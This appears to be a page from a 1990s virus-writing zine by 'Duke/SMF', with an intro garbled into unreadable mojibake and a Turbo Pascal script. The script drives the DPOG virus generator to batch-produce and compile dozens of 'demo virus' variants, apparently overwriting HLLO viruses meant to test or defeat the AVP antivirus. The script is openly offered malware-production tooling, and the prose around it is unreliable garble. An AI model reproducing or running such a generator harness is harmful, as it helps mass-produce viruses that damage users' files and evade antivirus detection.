- [Duke's Virus Labs #4] - [Page 17] -

㥬 DPOG-
(c) by Duke/SMF

      ணࠬ AVP ⠫ ⥪஢  
DPOG    ᮧ   ᮢ.   ᯥ᪨ 業
ᯮᮡ⥩   ᮧ ᮢ,    
HLLO-.   ,   稥 DPOG- ணࠬ AVP
㤮⠨  砭.   !  業 ⨢ !
⮬  ⮬   ਢ  ᮢ (ᥣ  80 ;)),
ᮧ    .  ਢ ⮢ ணࠬ,
    ࠧ ⢮ਫ (ࠢ, 諮 -
窠  뢠,    ).  ⠭ ࠤ樥
 ࠬ ⨢ᮢ ⪨ (⭨,  - 㦭 ભ)
᪮஢ ᮢ,      ᢮ ᨫ ,
     8)   ਫ饬 娢 80 HLLO.Dpog
ᮢ - FreeWare ;)
     :

===== Cut here =====
{$M 5000, 0, 5000}
uses dos;
const d1:array[1..3] of char = ('C','E','B');
      e1:array[1..2] of byte = (0,3);
      g1:array[1..2] of char = ('Y','N');
var sc:integer;
    d,e,g,h,i,l :byte;
    Command,st,cf,pf:string;
    f:text;
label not_comp;
begin
writeln(' DPOG ᮢ (c) by Duke/SMF');
writeln(' ᪮쪮 ...');
Command:=GetEnv('COMSPEC');
sc:=1;
for d:=1 to 3 do
  for e:=1 to 2 do  { 0  3 ᮢ ࠦ  1 ࠧ}
    for g:=1 to 2 do {}
      for h:=1 to 2 do
        for i:=1 to 2 do
          for l:=1 to 2 do
            begin
            str(sc,st);
            cf:='dpog'+st+'.cfg';
            assign(f,cf);
            rewrite(f);
            writeln(f,'A=Duke/SMF');
            writeln(f,'B=DPOG Demo Virus');
            pf:='dpog'+st+'.pas';
            writeln(f,'C='+pf);
            writeln(f,'D=',d1[d]);
            writeln(f,'E=',e1[e]);
            writeln(f,'F=M$');
            writeln(f,'G=',g1[g]);
            writeln(f,'H=',g1[h]);
            if (i=1) and (d=2) then
              begin
              close(f);
              goto not_comp;
              end
            else writeln(f,'I=',g1[i]);
            writeln(f,'J=This is DPOG demo virus');{. Number ',sc);}
            writeln(f,'J=Created (c) by Duke/SMF');
            writeln(f,'K=');
            writeln(f,'L=',g1[l]);
            close(f);
            exec(Command,'/c dpog.exe '+cf+'>nul');
            exec(Command,'/c tpc.exe '+pf+'>nul');
          {  exec(Command,'/c del '+pf+'>nul');}
            sc:=sc+1;
not_comp:
            end;
writeln(' 뢠  ࠢ쭮    !');
end.
===== Cut here =====
